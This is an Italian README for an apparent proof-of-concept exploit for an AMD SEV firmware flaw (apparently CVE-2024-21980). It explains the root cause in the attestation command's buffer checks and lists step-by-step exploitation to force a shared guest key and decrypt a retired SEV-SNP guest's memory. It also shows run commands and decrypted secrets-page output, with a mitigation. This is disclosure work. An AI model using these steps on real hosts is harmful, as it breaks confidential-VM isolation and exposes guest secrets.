Vulnerabilità del firmware SEV

Questo repository contiene un exploit per una vulnerabilità nel firmware SEV. L'exploit consente di decrittare memoria arbitraria di un guest SEV-SNP dopo che è stato dismesso.

Testato sulla versione 1.55.16 (l'ultima al momento della scrittura).

Causa principale

Il firmware SEV ha una tabella chiamata master_handler_table contenente i puntatori a funzione per tutti i comandi, con alcune proprietà aggiuntive rilevanti per i comandi. Due di queste proprietà aggiuntive sono cmd_buf_type e snp_cmd_buf_enforcement. cmd_buf_type determina se il buffer dei comandi deve essere copiato dalla/e verso la memoria dell'host. snp_cmd_buf_enforcement determina se queste operazioni di copia devono essere soggette a controlli che verificano che la memoria che supporta il buffer dei comandi sia nello stato FIRMWARE o DEFAULT. I comandi per cui cmd_buf_type è CMD_BUF_OUTPUT_ONLY, CMD_BUF_INPUT_AND_OUTPUT o CMD_BUF_INPUT_AND_OUTPUT_ERROR dovrebbero tutti avere snp_cmd_buf_enforcement impostato a true. In caso contrario, la riscrittura dell'output del comando potrebbe causare corruzione della memoria all'interno dell'area coperta da RMP. snp_cmd_buf_enforcement è true per tutti questi comandi con un'eccezione - SEV_MCMD_ID_ATTESTATION: questo comando ha cmd_buf_type impostato a CMD_BUF_INPUT_AND_OUTPUT_ERROR, ma ha anche snp_cmd_buf_enforcement impostato a false. Di conseguenza è possibile eseguire SEV_MCMD_ID_ATTESTATION con un buffer dei comandi che punta a memoria coperta da RMP e far sì che quella memoria venga corrotta una volta che l'output viene riscritto.

Non vedo perché SEV_MCMD_ID_ATTESTATION debba essere un'eccezione; mi sembra plausibile che possa essere un errore di battitura/copia-incolla.

Exploit

SEV_MCMD_ID_ATTESTATION scrive solo un singolo campo length (4 byte) nel buffer dei comandi e quindi questi sono gli unici byte che possiamo usare per corrompere la memoria. SEV_MCMD_ID_ATTESTATION scrive sempre lo stesso valore - 0x000000d0. Fortunatamente non ci sono requisiti di allineamento sul buffer dei comandi e quindi possiamo spostare ripetutamente il buffer dei comandi per corrompere un'area più ampia di memoria contigua. Useremo questo per corrompere i primi 16 byte di una pagina di contesto del guest con un pattern statico. Quei primi 16 byte contengono il seed della chiave UMC e quindi forzandolo a un valore statico, possiamo forzare la chiave di cifratura del guest a un valore statico.

L'exploit qui fornito è fortemente basato su quello che ho fornito per SWPSIRT-2684/CVE-2023-31355.

Per sfruttare la vulnerabilità possiamo eseguire i seguenti passaggi:

Avvia un guest SEV o SEV-ES. Questo è necessario per SEV_MCMD_ID_ATTESTATION. Tieni questo guest in esecuzione.
Crea una pagina di contesto guest all'indirizzo 0x2000 per il guest vittima. Qualsiasi altro indirizzo nell'area coperta da RMP andrebbe bene, anche se un indirizzo fisso è utile per il debug.
Usa la vulnerabilità per corrompere il seed della chiave UMC del guest vittima.
Attiva la pagina di contesto del guest vittima e avvia ed esegui il guest vittima.
Dismetti il guest vittima.
Crea una pagina di contesto guest all'indirizzo 0x2000 per il guest attaccante. Deve essere lo stesso indirizzo usato nel passaggio 1.
Usa la vulnerabilità per corrompere il seed della chiave UMC del guest attaccante.
Attiva la pagina di contesto del guest attaccante e avvia con il flag di debug abilitato.
Assegna la memoria del guest vittima al guest attaccante.
Usa il comando SNP_DBG_ENCRYPT per decrittare la memoria del guest vittima usando la pagina di contesto del guest attaccante. Questa operazione avrà successo perché il guest vittima e il guest attaccante condividono un seed della chiave UMC.

Impatto

L'impatto qui dovrebbe essere almeno lo stesso di SWPSIRT-2684. Non mi è chiaro al momento se questo bug possa essere usato per decrittare la memoria di un guest in esecuzione prima che venga dismesso.

Mitigazione

snp_cmd_buf_enforcement dovrebbe essere impostato a true per SEV_MCMD_ID_ATTESTATION.

È interessante notare che le patch di supporto host Linux KVM non devono essere aggiornate perché elencano già SEV_CMD_ATTESTATION_REPORT in sev_cmd_buf_writable come un comando che richiede che il suo buffer dei comandi sia nello stato FIRMWARE. Potrebbero essere necessarie o meno modifiche per altri hypervisor.

Utilizzo del PoC

Modifica l'area coperta da RMP nel BIOS a 64GiB (0x10000 pagine da 1 MiB). Se il tuo sistema non lo supporta, le patch Linux dovranno essere adattate di conseguenza. Il PoC è stato testato su un sistema con 128GiB di memoria.
Applica le patch nella cartella linux-patches alla punta di https://github.com/AMDESE/linux/commits/snp-host-v10. Compila, installa e avvia il kernel.
Avvia un guest SEV o SEV-ES e tienilo in esecuzione.
Avvia un guest vittima SEV-SNP.
Ferma il guest vittima.

Ispeziona i log del kernel per trovare la posizione della pagina segreta creata durante l'avvio.

root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[  463.851449] kvm_amd: Detected secret page at pfn 171a24

Esegui il PoC.

root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
    Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000

Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200

Nota che non c'è nulla di speciale nelle pagine segrete: questo exploit può essere usato anche per decrittare pagine normali. Le pagine segrete sono usate nel PoC perché hanno un contenuto molto riconoscibile che rende facile vedere che la decrittazione della memoria della vittima è riuscita.

cve-2024-21980-poc

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